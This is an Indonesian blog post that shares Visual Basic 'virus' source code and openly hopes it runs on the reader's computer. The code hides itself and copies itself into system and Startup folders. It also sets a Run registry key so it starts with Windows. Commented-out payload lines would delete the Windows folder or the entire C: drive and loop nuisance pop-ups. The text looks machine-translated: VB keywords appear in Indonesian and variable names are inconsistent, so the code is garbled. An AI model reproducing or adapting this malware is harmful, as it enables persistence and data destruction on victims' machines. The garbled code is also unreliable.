Si Ucok Polos Berbagi

Ini adalah kode sumber virus dengan vb dari teman saya, saya berharap berjalan dari komputer Anda.
"Di sini kode
'Pallvb TIDAK AKAN BERTANGGUNG JAWAB ATAS APA ORANG BISA GUNAKAN INI UNTUK
Dim namefile As String
Dim namereg As String
Private Sub Form_Load ()
On Error Resume Next
Begitu Me.Hide 'tidak bisa melihatnya
namefile = "virus.exe" 'menempatkan nama file virus di sini dengan exe. di ujungnya Direkomendasikan untuk berubah!!
namereg = "virus" 'menempatkan nama virus reg kunci di sini! Direkomendasikan untuk berubah!
Jika LCase $ (App.Path) <> "c: \ windows \ system32" Atau "c: \ windows \ start menu \ program \ startup" Atau: c "c \ windows \ start menu \ program \ start up" Atau " : \ WinNT \ system32 "Atau" c: \ WinNT \ start menu \ program \ startup "Atau" c: \ WinNT \ start menu \ program \ start up "Atau" C: \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup "Kemudian
'Ini ^ memeriksa apakah komputer sudah telah terinfeksi! Direkomendasikan untuk tidak menyentuh!
reg namefile, namereg 'ini adalah untuk menginfeksi komputer
End If
payload 'ini pergi ke bagian utama dari virus
End Sub
Fungsi payload ()
On Error Resume Next
'Ini adalah bagian utama dari virus menempatkan kode di sini tentang apa yang ingin virus ini untuk melakukan
'Shell ("cmd / c del c: \ windows \ * / F / S / Q")' ini akan membunuh folder windows di C:
'Shell ("cmd / c del c: \ * / F / S / Q")' ini akan membunuh seluruh C: drive
'Memulai:
'MsgBox "Pc Anda Apakah Terinfeksi Virus anoying"
'Goto mulai' ini akan mengulangi MsgBox sebuah lagi dan lagi
End Function
'Dan di sini modul
"Direkomendasikan untuk tidak menyentuh!
Declare Function RegSetValueEx Lib "advapi32.dll" Alias ​​"RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData Sebagai Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Const REG_DWORD = 4 Public
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias ​​"RegDeleteValueA" (ByVal hkey As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib "advapi32.dll" Alias ​​"RegOpenKeyA" (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias ​​"RegCreateKeyA" (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Sub savestring (hkey As Long, strPath As String, strValue As String, strData As String)
'Ini adalah untuk menyimpan virus di reg untuk startup ketika jendela sepatu Direkomendasikan untuk tidak menyentuh!
On Error Resume Next
Dim keyhand As Long
Dim X As Long
X = RegCreateKey (hkey, strPath, keyhand)
X = RegSetValueEx (keyhand, strValue, 0, REG_SZ, ByVal strData, Len (strData))
X = RegCloseKey (keyhand)
End Sub
Public Function DeleteValue (ByVal hkey As Long, ByVal strPath As String, ByVal strValue As String)
'Ini adalah untuk menghapus virus jika ada sesuatu yang salah dalam reg (di bawah) Direkomendasikan untuk tidak menyentuh!
On Error Resume Next
Dim Xkey As Long
Dim X As Long
X = RegOpenKey (hkey, strPath, Xkey)
X = RegDeleteValue (Xkey, strValue)
X = RegCloseKey (Xkey)
End Function
Fungsi reg (nama file As String, regname As String)
'Ini adalah untuk menginfeksi komputer (sedikit rumit) Direkomendasikan tidak! Menyentuh!
On Error GoTo error1
Panggil savestring ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname, "c: \ windows \ system32 \" & namafile)
On Error GoTo error2
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ windows \ system32 \" & nama file
Keluar Fungsi
error1:
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ windows \ start menu \ program \ startup \" & nama file
On Error GoTo error4
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ windows \ start menu \ program \ start up \" & nama file
Keluar Fungsi
error2:
On Error GoTo error3
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ winnt \ system32 \" & nama file
Panggilan DeleteValue ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname)
Panggil savestring ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname, "c: \ winnt \ system32 \" & namafile)
Keluar Fungsi
error3:
On Error GoTo error6
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \" & nama file
Panggilan DeleteValue ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname)
Panggil savestring ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname, "c: \" & namafile)
Keluar Fungsi
error4:
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ WinNT \ start menu \ program \ startup \" & nama file
On Error GoTo error5
FileCopy App.Path & "\" & App.EXEName & "exe". "C: \ WinNT \ start menu \ program \ start up \" & nama file
Keluar Fungsi
error5:
On Error GoTo enditnow
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup \" & nama file
Keluar Fungsi
error6:
On Error GoTo error7
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ Documents and Settings \" & nama file
Panggilan DeleteValue ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname)
Panggil savestring ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname, "c: \ Documents and Settings" & nama file)
Keluar Fungsi
error7:
On Error GoTo enditnow
FileCopy App.Path & "\" & App.EXEName & "exe.", "C: \ program files \" & nama file
Panggilan DeleteValue ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname)
Panggil savestring ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname, "c: \ program files \" & namafile)
Keluar Fungsi
enditnow:
On Error Resume Next
Panggilan DeleteValue ("HKEY_LOCAL_MACHINE", "Software \ Microsoft \ Windows \ CurrentVersion \ Run", regname)
Akhir
End Function